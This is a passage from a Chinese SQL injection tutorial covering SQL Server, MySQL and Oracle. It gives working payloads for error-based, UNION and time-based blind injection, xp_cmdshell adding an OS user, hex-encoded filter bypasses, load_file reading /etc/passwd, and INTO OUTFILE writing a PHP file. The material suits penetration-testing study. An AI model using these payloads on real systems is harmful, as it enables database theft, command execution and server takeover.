那么 SQL 的执行器可能会抛出一个错误:
攻击者就可以发现当前的表名为 user、而且存在字段 id。
攻击者可以利用此特性继续得到其他列名,输入如下语句:
' GROUP BY users.id HAVING 1 = 1 --
则 SQL 语句变为:
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
抛出错误:
由此可以看到包含列名 username。可以一次递归查询,知道没有错误消息返回位置,这样就可以利用 HAVING 字句得到当表的所有列名。
注:Select指定的每一列都应该出现在Group By子句中,除非对这一列使用了聚合函数
利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。
如下列 SQL 语句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
执行器错误提示:
这就可以获取到用户的用户名为 root。因为在子查询 SELECT TOP 1 username FROM users 中,将查询到的用户名的第一个返回,返回类型是 varchar 类型,然后要跟 int 类型的 1 比较,两种类型不同的数据无法比较而报错,从而导致了数据泄露。
利用此方法可以递归推导出所有的账户信息:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。
通过构造此语句就可以获得下一个 用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息,这里就不再赘述。
获取元数据
SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若当前表的列数为 2,则可以 UNION 语句获取当前数据库表。具体怎么猜测当前表的列数,后面进行描述。
一些常用的系统数据库视图:
数据库视图 说明
SYS.DATABASES SQL Server 中的所有数据库
SYS.SQL_LOGINS SQL Server 中的所有登录名
INFORMATION_SCHEMA.TABLES 当前用户数据库中的所有数据表
INFORMATION_SCHEMA.COLUMNS 当前用户数据库中的所有列
SYS.ALL_COLUMNS 用户定义对象和系统对象的所有列的联合
SYS.DATABASE_PRINCIPALS 数据库中每个权限或列异常权限
SYS.DATABASE_FILES 存储在数据库中的数据库文件
SYSOBJECTS 数据库中创建的每个对象 (包括约束、日志以及存储过程)
ORDER BY 子句猜测列数
可以用 ORDER BY 语句来判断当前表的列数。如:
① SELECT * FROM users WHERE id = 1——SQL执行正常
② SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL执行正常
③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL执行正常
④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 执行正常
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 抛出异常:
由此可以得出,当前表的列数只有 3 列,因为当按照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中同样适用此方法。
在得知列数后,攻击者通常会配合 UNION 关键字进行下一步的攻击。
UNION 查询
UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:
所有查询中的列数必须相同
数据类型必须兼容
用 UNION 查询猜测列数
不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。
在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
数据库会发出异常:
可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:
UNION SELECT 1,2、UNION SELECT 1,2,3
也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。
联合查询敏感信息
在得知列数为 4后,可以使用一下语句继续注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示对象类型是表)
若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将 x 换为 SQL 语句,查询敏感信息。
利用SQL Server 提供的系统函数
SQL Server 提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。
如:
SELECT suser_name():返回用户的登录标识名
SELECT user_name():基于指定的标识号返回数据库用户名
SELECT db_name():返回数据库名
SELECT is_member(‘db_owner’):是否为数据库角色
SELECT convert(int, ‘5’):数据类型转换
存储过程
存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”,如:执行系统命令、查看注册表、读取磁盘目录等。
攻击者最长使用的存储过程是 “xp_cmdshell”,这个存储过程允许用户执行操作系统命令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入点,那么攻击者就可以实施命令攻击:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell ‘net user test test /add’
最终执行的 SQL 语句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
分号后面的那一段语句就可以为攻击者在对方服务器上新建一个用户名为 test、密码为 test 的用户。
注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有 CONTROL SERVER 权限。
常见的危险存储过程如下表:
存储过程 说明
sp_addlogin 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表
xp_regread 读取注册表
xp_regwrite 写入注册表
xp_redeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务
另外,任何数据库在使用一些特殊的函数或存储过程时,都需要特定的权限。常见的SQL Server 数据库的角色与权限如下:sql
角色 权限
bulkadmin 可以运行 BULK INSERT 语句
dbcreator 可以创建、更改、删除和还原任何数据库
diskadmin 可以管理磁盘文件
processadmin 可以种植在数据库引擎中运行的实例
securityadmin 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码
serveradmin 可以更改服务器范围的配置选项和关闭服务器
setupadmin 可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin 可以在数据库引擎中执行任何活动
动态执行
SQL Server 支持动态执行语句,用户可以提交一个字符串来执行 SQL 语句。
如:exec(‘SELECT username, password FROM users’)
也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如:
declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)
或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
前面详细讲述了 SQL Server 的注入过程,在注入其他数据库时,基本思路是相同的,只不过两者使用的函数或者是语句稍有差异。
MySQL 中的注释
MySQL 支持以下 3 中注释风格:
“#”: 注释从 “#” 到行尾
"-- " :注释从 “-- ”序列到行位,需要注意的是使用此注释时,后面需要跟上空格
/**/:注释从 /* 到 */ 之间的字符
获取元数据
MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。
查询用户数据库名称
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了关于数据库的信息。
查询当前数据表
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。
查询指定表的所有字段
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。
UNION 查询
与 SQL Server 大致相同,此处不赘述。
MySQL 函数利用
无论是 MySQL、Oracle 还是其他数据库都内置了许多系统函数,这些数据库函数都非常类似,接下来介绍一些对渗透测试人员很有帮助的 MySQL 函数。
load_file() 函数读文件操作
MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。
SQL 语句如下:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。
在浏览器返回数据时,有可能存在乱码问题,那么可以使用 hex() 函数将字符串转换为十六进制数据。
into outfile 写文件操作
MySQL 提供了向磁盘写文件的操作,与 load_file() 一样,必须有 FILE 权限,并且文件必须为全路径名称。
写入文件:
SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'
连接字符串
MySQL 如果需要一次查询多个数据,可以使用 concat() 或 concat_ws() 函数来完成。
SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());
也可以将逗号改用十六进制表示:0x2c
MySQL 显错式注入
MySQL 也存在显错式注入,可以像 SQL Server 数据库那样,使用错误提取消息。
通过 updatexml 函数执行 SQL 语句
首先了解下updatexml()函数:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,报错,会显示出无法识别的内容:
通过 extractvalue函数
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
同样报错显示出当前用户:
宽字节注入
宽字节注入是由编码不统一所造成的,这种注入一般出现在 PHP + MySQL中。
在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用 GET、POST、Cookie 所接受的 单引号(’)、双引号(")、反斜线() 和 NULL 字符都会自动加上一个反斜线转义。
如下使用 PHP 代码使用 $_GET 接收参数:
如访问URL:http:/www.xxser.com/Get.php?id=',显示如下:
单引号’被转义后就变成了’,在 MySQL 中,'是一个合法的字符,也就没办法闭合单引号,所以,注入类型是字符型时无法构成注入。
但是若是输入:%d5’,访问URL:http:/www.xxser.com/Get.php?id=%d5’,显示如下:
可以发现,这次单引号没有被转义,这样就可以突破 PHP 转义,继续闭合 SQL 语句进行 SQL 注入。
MySQL 长字符截断
MySQL 超长字符截断又名 “SQL-Column-Truncation”。
在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启 STRICT——ALL_TABLES 选项时,MySQL 对插入超长的值只会提示 waring,而不是 error。
假设有一张表如下:
username 字段的长度为 7。
分别插入一下 SQL 语句:
插入正常 SQL 语句:
INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
成功插入。
插入错误的 SQL 语句,使 username 字段的长度超过7:
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
虽然有警告,但是成功插入了。
再尝试插入一条错误的 SQL 语句,长度同一超过原有的规定长度:
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
查询数据库:
可以看到,三条数据都被插入到数据库中,但是值发生了变化。在默认情况下,如果数据超出默认长度,MySQL 会将其阶段。
但是这样怎么攻击呢?通过查询用户名为 admin 的用户:
可以发现,只查询用户名为 admin 的用户,但是另外两个长度不一致的 admin 用户也被查询出,这样就会造成一些安全问题。
比如有一处管理员登录时这样判断的:
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
那么攻击者只需要注册一个长度超过规定长度的用户名“admin ”即可轻易进入后台管理页面。
延时注入
延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。
在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运行语句,如下 SQL 语句:
SELECT * FROM users WHERE id = 1 AND sleep(3)
就是将在 3 秒后执行该 SQL 语句。
可以使用这个函数来判断 URL 是否存在 SQL 注入漏洞,步骤如下:
通过页面返回的世界可以断定,DBMS 执行了 and sleep(3) 语句,这样一来就可以判断出 URL 存在 SQL 注入漏洞。
然后通过 sleep() 函数还可以读出数据,但需要其他函数的配合,步骤如下:
查询当前用户,并取得字符串长度
执行SQL 语句:
AND if(length(user()) = 0, sleep(3), 1)
如果出现 3 秒延时,就可以判断出 user 字符串长度,注入时通常会采用折半算法减少判断。
截取字符串第一个字符,并转换为 ASCII 码
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不断更换 ASCII 码直到出现延时 3 秒就可以猜测出第一个字符。
递归截取字符串每一个字符,分别于 ASCII 码比较
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字符串的第几个字符,N 的位置代表 ASCII 码。
不仅在 MySQL 中存在延时函数,在 SQL Server、Oracle 等数据库中也都存在类似功能的函数,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。
Oracle
获取元数据
Oracle 也支持查询元数据,下面是 Oracle 注入常用的元数据视图:
user_tablespaces 视图,查看表空间
SELECT tablespace_name FROM user_tablespaces
user_tables 视图,查看当前用户的所有表
SELECT table_name FROM user_tables WHERE rownum = 1
user_tab_columns 视图,查看当前用户的所有列,如查询 user 表的所有列:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
all_users 视图,查看 ORacle 数据库的所有用户
SELECT username FROM all_users
user_objects 视图,查看当前用户的所有对象 (表名称、约束、索引)
SELECT object_name FROM user_objects
UNION 查询
Oracle 与 MySQL 一样不支持多语句执行,不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。
获取列的总数
获取列总数方法与前面两种数据库类似,依然可以使用 ORDER BY 子句来完成。
另一种方法是利用 UNION 关键字来确定,但是 Oracle 规定,每次查询时后面必须跟表的名称,否则查询将不成立。
在 Oracle 中可以使用:
UNION SELECT null, null, null …… FROM dual
这里的 dual 是 Oracle 中的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。
然后获取非数字类型列,即可以显示出信息的列:
UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual
把每一位的 null 依次用单引号 ’ 引起来,如果报错,则不是字符串类型的列;如果返回正常,则是字符串类型的列,就可以在相应的位置插入查询语句获取信息。
获取敏感信息
常见的敏感信息如下:
当前用户权限:SELECT * FROM session_roles 当前数据库版本:SELECT banner FROM sys.v_$version WHERE rownum = 1 服务器出口 IP:用utl_http.request 可以实现 服务器监听 IP:SELECT utl_inaddr.get_host_address FROM dual 服务器操作系统:SELECT member FROM v$logfile WHERE rownum = 1 服务器 SID:SELECT instance_name FROM v$instance 当前连接用户:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
获取数据库表及其内容
在得知表的列数之后,可以通过查询元数据的方式查询表名称、列名称,然后查询数据,如:
http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
注意:在查询数据时同样要注意数据类型,否则无法查询,只能一一测试,改变参数的查询位置。
SQL盲注
盲注的一般模式
盲注的本质是猜解(所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断),那能感觉到什么?答案是**:差异**(包括运行时间的差异和页面返回结果的差异)。也就是说我们想实现的是我们要构造一条语句来测试我们输入的布尔表达式,使得布尔表达式结果的真假直接影响整条语句的执行结果,从而使得系统有不同的反应,在时间盲注中是不同的返回的时间,在布尔盲注中则是不同的页面反应。
我们可以把我们输入布尔表达式的点,称之为整条语句的开关,起到整条语句结果的分流作用,而此时 我们就可以把这种能根据其中输入真假返回不同结果的函数叫做开关函数,或者叫做分流函数
说到这里其实首先想到的应该就是使用 if 这种明显的条件语句来分流,但是有时候 if 也不一定能用,那不能用我们还是想分流怎么办,实际上方法很多,我们还能利用 and 或者 or 的这种短路特性实现这种需求,示例如下:
and 0 特性
mysql> select * from bsqli where id = 1 and 1 and sleep(1);
Empty set (1.00 sec)
mysql> select * from bsqli where id = 1 and 0 and sleep(1);
Empty set (0.00 sec)
这个怎么看,实际上 一个 and 连接的是两个集合,and 表示取集合的交集,我么知道0 和任何集合的交集都是 0 ,那么系统就不会继续向下执行 sleep(),那么为什么第一条语句没有返回任何东西呢?因为 id =1 的结果和 sleep(1) 的交集为空集
or 1 特性
mysql> select * from bsqli where id = 1 or 1 or sleep(1);
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
| 2 | L_Team | 234567 |
+----+--------+----------+
2 rows in set (0.00 sec)
mysql> select * from bsqli where id = 1 or 0 or sleep(1);
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (1.00 sec)
和上面类似 or 取得是两个集合的并集,系统检测到 or 1 的时候就不会继续检测,所以 sleep() 也就不会运行。
那么这里我们可以将 sleep() 换成我们下面准备讲的 Heavy Query ,如下
id = 1' and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
id = 1' and 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
除了上面两个我们还能用 case when then else end 这个句型,这个和 if 是类似的我这里就不多介绍,我这里还想说一个我另外发现的比较有趣的一个函数(准确的说是两个函数)
elt() 的分流特性
ELT(N ,str1 ,str2 ,str3 ,…)
函数使用说明:若 N = 1 ,则返回值为 str1 ,若 N = 2 ,则返回值为 str2 ,以此类推。 若 N 小于 1 或大于参数的数目,则返回值为 NULL 。 ELT() 是 FIELD() 的补数
mysql> select * from bsqli where id = 1 and elt((1>1)+1,1=1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and elt((1=1)+1,1=1,sleep(1));
Empty set (1.00 sec)
后来我发现这个确实是有案例的,但是和我这个用法没哈关系,可能只是我见识比较短浅,这是当时的payload:
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
field() 的分流特性
FIELD(str, str1, str2, str3, ……)
该函数返回的是 str 在面这些字符串的位置的索引,如果找不到返回 0 ,但我发现这个函数同样可以作为开关来使用,如下:
mysql> select * from bsqli where id = 1 and field(1>1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (2.00 sec)
mysql> select * from bsqli where id = 1 and field(1=1,sleep(1));
Empty set (1.00 sec)
但是这其实给了我们一种新的思路:有时候时间延迟的长短可以作为我们判断的依据,并不一定是有延迟和没延迟(当然这只是我原来没注意,不代表看这篇文章的师傅们不知道
orz)
另外就是如果有些函数返回的是 NULL 并不代表这个函数不能作为开关函数或者分流函数使用,因为我们还有一个函数叫做 isnull() ,可以将 null 转化成真或者假。
当然方法肯定不止这两个,这里仅仅是讲解原理的简单举例。
基于时间的盲注
基于时间的盲注的一般思路是延迟注入,说白了就是将判断条件结合延迟函数注入进入,然后根据语句执行时间的长短来确定判断语句返回的 TRUE 还是 FALSE,从而去猜解一些未知的字段(整个猜解过程其实就是一种 fuzz)。
MYSQL 的 sleep 和 benchmark
我们常用的方法就是 sleep() 和 benchmark(),如下图所示
上面两个语句适用来判断是否存在 sql 注入的(注意 sleep 是存在一个满足条件的行就会延迟指定的时间,比如sleep(5),但是实际上查找到两个满足条件的行,那么就会延迟10s,这其实是一个非常重要的信息,在真实的渗透测试过程中,我们有时候不清楚整个表的情况的话,可以用这样的方式进行刺探,比如设置成 sleep(0.001) 看最后多少秒有结果,推断表的行数)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9KHKW1Mx-1660619620137)(https://tuchuang-1303875118.cos.ap-shanghai.myqcloud.com/TyporaIMG/436cecb4cc0b0e0162f773ed27ccfbc0)]
我们还能在条件语句中结合延时函数达到猜解字段的目的
补充 SQL Server的方法:
判断是否存在注入:
判断数据库用户是否为 sa:
注:这里闭合前面语句其实也可以将其划分到堆叠注入的类别里。
但是当我们没有办法使用 sleep(50000)—->睡眠 和 benchmark(10000000,md5(‘a’))—->测试函数执行速度 的时候我们还能用下面的方式来实现我们的目的。
Heavy Query 笛卡尔积
这种方式我把它称之为 Heavy Query 中的 “笛卡尔积”,具体的方式就是将简单的表查询不断的叠加,使之以指数倍运算量的速度增长,不断增加系统执行 sql 语句的负荷,直到产生攻击者想要的时间延迟,这就非常的类似于 dos 这个系统,我们可以简单的将这种模式用下面的示意图表示。
由于每个数据库的数据量差异较大,并且有着自己独特的表与字段,所以为了使用这种方式发起攻击,我们不能依赖于不同数据库的特性而是要依赖于数据库的共性,也就是利用系统自带的表和字段来完成攻击,下面是一个能够在 SQL SERVER 和 MYSQL 中成功执行的模板:
SELECT count(*) FROM information_schema.columns A,information_schema.columns B,information_schema.columns C;
根据数据库查询的特点,这句话的意思就是将 A B C 三个表进行笛卡尔积(全排列),并输出 最终的行数,执行效果如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D0jkARDQ-1660619620156)(https://tuchuang-1303875118.cos.ap-shanghai.myqcloud.com/TyporaIMG/7cad30fc6523849787b86023a73831af)]
我们来单独执行一次对这个 columns 表的查询,然后对这个结果进行 3 次方运算,如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-153wPPkV-1660619620160)(https://tuchuang-1303875118.cos.ap-shanghai.myqcloud.com/TyporaIMG/9e4706cfb4e1559867a4f25222505429)]
可以看到,和我们的分析是一样的,但是从时间来看,这种时间差是运算量指数级增加的结果。
那么假如,我们可以构造这样的一条语句
如果系统返回结果的时间明显与之前有差异,那么最有可能的情况就是我们注入的语句成功在系统内执行,也就是说存在注入漏洞。
除此之外,我们还可以构造我们想要的判断语句,结合我们的 笛卡尔积 实现字段的猜解(当然也不能太 Heavy 了,适可而止,否则可能要注到天荒地老)
Get_lock() 加锁机制
在单数据库的环境下,如果想防止多个线程操作同一个表(多个线程可能分布在不同的机器上),可以使用这种方式,取表名为key,操作前进行加锁,操作结束之后进行释放,这样在多个线程的时候,即保证了单个表的串行操作,又保证了多个不同表的并行操作。
这种方式注入的思路来源于 pwnhub的一道新题”全宇宙最最简单的PHP博客系统” ,先来看一下 get_lock() 是什么
- GET_LOCK(key,timeout)
基本语句:
SELECT GET_LOCK(key, timeout) FROM DUAL;
SELECT RELEASE_LOCK(key) FROM DUAL;
注:
1.这里的 dual 是一个伪表,在 MySQL 中可以直接使用 select 1;这种查询语句,但是在 oracle 中却必须要满足 select 语句的结构,于是就有了这个相当于占位符的伪表,当然在 MYSQL 中也是可以使用的
2.key 这个参数表示的是字段
(1)GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),一个客户端对某个字段加锁以后另一个客户端再想对这个字段加锁就会失败,然后就会等待设定好的时间
(2)当调用 RELEASE_LOCK来释放上面加的锁或客户端断线了,上面的锁才会释放,其它的客户端才能进来。
我们来简单的实验一下
现在我有这样一个表
mysql> desc admin;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| username | varchar(100) | NO | | NULL | |
| flag | varchar(100) | NO | | NULL | |
+----------+--------------+------+-----+---------+-------+
2 rows in set (0.38 sec)
我首先对 username 字段进行加锁
然后我再尝试打开另一个终端,对同样的字段进行加锁尝试
可以看到语句没有执行成功返回 0 ,并且由于该字段已经被加锁的原因,这次的执行时间是自定义的 5s 。
现在我们给这个字段解锁:
再次尝试另一个终端的加锁
可以看到没有任何的延时,并且返回 1 表示加锁成功
好了,有了上面的基础,我们是否能根据我上面对时间盲注原理的简单分析来举一反三实现利用 get_lock() 这种延时方式构造时间盲注语句呢?
(1)我们首先通过注入实现对 username 字段的加锁
select * from ctf where flag = 1 and get_lock('username',1);
(2)然后构造我们的盲注语句
select * from ctf where flag = 1 and 1 and get_lock('username',5);
select * from ctf where flag = 1 and 0 and get_lock('username',5);
分析到这里似乎已经结束了,但是其实这个 get_lock 的使用并不是没有限制条件
限制条件就是数据库的连接必须是持久连接,我们知道 mysql_connect() 连接数据库后开始查询,然后调用 mysql_close() 关闭与数据库的连接,也就是 web 服务器与数据库服务器连接的生命周期就是整个脚本运行的生命周期,脚本结束连接即断开,但是很明显这里我们要利用的是前一个连接对后一个连接的阻碍作用导致延时,所以这里的连接必须是持久的。
php 手册中对持久连接这样描述
php 中使用 mysql_pconnect 来创建一个持久的连接,当时这道题使用的也是这个函数来创建的数据库连接
那么什么时候会出现需要我们使用持久连接的情况呢?
php 手册这样解释道
现在分析正式结束了.
Heavy Query 正则表达式
这种方式与我第一个讲的 Heavy Query 笛卡尔积略有不同,这里是使用大量的正则匹配来达到拖慢系统实现时延的,我认为本质是相同的,所以我还是将其归纳为 Heavy Query 中的一类。
mysql 中的正则有三种常用的方式 like 、rlike 和 regexp ,其中 Like 是精确匹配,而 rlike 和 regexp 是模糊匹配(只要正则能满足匹配字符串的子字符串就OK了)
当然他们所使用的通配符略有差异:
(1)like 常用通配符:% 、_ 、escape
% : 匹配0个或任意多个字符
_ : 匹配任意一个字符
escape : 转义字符,可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'
(2)rlike和regexp:常用通配符:. 、* 、 [] 、 ^ 、 $ 、{n}
. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。
我们可以这样构造:
mysql> select * from test where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (4.24 sec)
mysql> select * from content where id =1 and IF(0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (0.00 sec)
上面这两个语句的构造来源于 一叶飘零 师傅的博客,但是我觉得这里面有一点点问题,我发现,我在本地测试的效果并没有 一叶飘零师傅测试的那么好,延迟效果不是很明显,只有 0.29s 并且还以为 MySQL 的某种缓存机制导致我下一次执行该命令的时候直接就是 0.00s 了,当然 rlike 如果成功的话 regexp 只要简单的替换一下就 ok 了,like 的话也依次类推 。
我后来又使用了 mysql8 进行尝试(原来我的版本是 mysql 5.5.53) ,发现了下面的情况
mysql> select * from test where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
ERROR 3699 (HY000): Timeout exceeded in regular expression match.
mysql> select * from test where id =1 and IF(0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (0.00 sec)
在 mysql8 下也同样没有延迟,并且直接提示超时,所以我认为这个方法并不通用,与 MySQL 的版本有着比较紧密的联系。
该种技术的优缺点
这种技术的一个主要优点是对日志几乎没有影响,特别是与基于错误的攻击相比。但是,在必须使用大量查询或 CPU密集型函数(如MySQL的BENCHMARK())的情况下,系统管理员可能会意识到正在发生的事情。
另一件需要考虑的事情是你注入的延迟时间。在测试Web应用程序时,这一点尤其重要。因为该服务器负载和网络速度可能对响应时间产生巨大的影响。你需要暂停查询足够长的时间,以确保这些不确定因素不会干扰你的测试结果。另一方面,你又会希望延迟足够短以在合理的时间内测试应用程序,所以把握这个时间长短的度是很困难的。
一点点补充
由于平时用的不多,想在这里稍微记录一下关于 insert 和 update 的盲注示例
